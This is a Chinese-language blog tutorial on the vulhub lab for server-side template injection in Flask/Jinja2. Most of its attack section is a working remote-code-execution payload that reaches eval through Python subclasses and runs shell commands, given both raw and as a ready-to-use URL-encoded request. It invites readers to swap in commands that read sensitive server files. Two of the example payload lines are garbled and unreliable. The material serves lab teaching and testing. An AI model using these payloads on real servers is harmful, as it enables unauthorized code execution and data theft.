当前位置: 首页 > news >正文

【Flask(Jinja2)服务端模板注入漏洞】

一、SSTI漏洞概述

服务端模板注入(Server-Side Template Injection,SSTI)是一种发生在Web应用程序中的安全漏洞,攻击者能够向模板引擎注入恶意模板代码,从而在服务器端执行任意代码。

二、Flask介绍

Flask是一个流行的Python Web框架,使用Jinja2作为其模板引擎。当用户输入未经适当过滤就直接在Jinja2模板中渲染时,可能会导致服务端模板注入(SSTI)漏洞,进而可能导致远程代码执行。
Flask应用的结构:

三、环境搭建

从vulhub中拉取漏洞镜像。

https://vulhub.org/zh

环境启动后,访问http://your-ip:8000/即可查看到默认页面。

四、漏洞详情

首先,访问以下URL验证SSTI漏洞是否存在:

http://localhost:8000/?name={{7*7}}

看到结果是49要实现远程代码执行,可以使用以下POC获取eval函数并执行任意Python代码:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

替换恶意代码即可实现更多攻击
只需修改最后一步eval中的字符串,就能实现任意攻击行为,比如:
读取服务器敏感文件:{{ b’eval’ }}
执行其他系统命令:{{ b’eval’ }}
查看服务器网络配置:{{ b[‘eval’](‘import(“os”).popen(“ip addr”).read()’) }}

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

免责声明:

本公众号分享的网络安全工具与资料仅用于合法授权的教育、研究、安全测试及防御目的。任何使用者应确保其行为符合《网络安全法》等相关法律法规,严禁用于任何非法或未授权访问。

所有工具与实验均存在一定风险,请在具备相应知识或专业人员指导下,于自有或已获授权的环境中测试。因使用、传播相关内容而产生的任何直接或间接后果,本公众号及作者概不承担责任。

请务必在法律允许范围内,安全、负责地使用技术。

参考链接:

  • https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
  • http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates
http://www.jsqmd.com/news/340362/

相关文章:

  • 【Nessus2026最新安装部署及使用教程】
  • 深入解析:扑灭斗殴的火苗:AI智能守护如何为校园安全保驾护航
  • AI助手协作框架:任务分配算法在人机测试效率的优化系统
  • 互联网大厂Java求职面试实录:从基础到微服务与AI技术深入探讨
  • 团队宪法:CLAUDE.md 和rule使用技巧与复利模式
  • 2026年口碑好的杠杆式四球摩擦磨损试验机/销盘摩擦磨损试验机厂家推荐及选择指南 - 行业平台推荐
  • 2026破局指南:语义对齐工具如何弥合开发-测试鸿沟,提升协作效率300%
  • 2026年比较好的山东污水处理设备/造纸污水处理设备厂家推荐及选择指南 - 行业平台推荐
  • 2026年口碑好的干选系统选煤设备/选煤设备厂家推荐及选购指南 - 行业平台推荐
  • 2026年口碑好的胶辊硅橡胶/耐高温硅橡胶厂家选购指南与推荐 - 行业平台推荐
  • 2026年知名的全自动称重包装机/注塑件称重包装机厂家推荐及选择指南 - 行业平台推荐
  • 超越筛选:Scikit-learn特征选择API的深度实践与创新融合
  • 2026年比较好的干法选煤设备/排矸降灰选煤设备最新TOP厂家排名 - 行业平台推荐
  • 结构因果模型:医疗AI审计的测试工程师指南
  • 2026年口碑好的微机控制电液伺服动静刚度疲劳试验机/山东减速机壳体疲劳试验机厂家推荐及选择参考 - 行业平台推荐
  • 瑞芯微RV1106G3板端部署
  • 实时告警仪表盘:破解概念漂移与数据偏移的测试智能化引擎
  • 2026年评价高的专业环保设备/山东一体化环保设备最新TOP厂家排名 - 行业平台推荐
  • 2026年比较好的静音同步托底轨/抽屉阻尼同步托底轨厂家推荐及采购参考 - 行业平台推荐
  • 2026-02-03_Tue _ 4进修硬件 - 存储技术 - 存储技术发展史
  • 3Blue1Brown《线性代数的本质》向量究竟是什么 - 指南
  • 2026年评价高的静音三段力铰链/厚薄门通用三段力铰链厂家推荐及选择指南 - 行业平台推荐
  • Docker基础操作——镜像与容器管理
  • 2026年口碑好的PP灌溉管件/温室灌溉管件厂家推荐及选购指南 - 行业平台推荐
  • 2026年评价高的GEO优化推广/GEO招商供应商排名 - 行业平台推荐
  • 聊聊专业的板材开割服务,广东地区哪家口碑好 - 工业推荐榜
  • 2026年口碑好的天冬聚脲屋顶防水/喷涂聚脲污水池厂家推荐及采购参考 - 行业平台推荐
  • 互联网大厂Java面试:从Spring WebFlux到微服务架构的技术深度剖析
  • Vue 笔记6
  • 2026年质量好的高压隔膜压滤机/沉淀池污泥压滤机厂家推荐及选择指南 - 行业平台推荐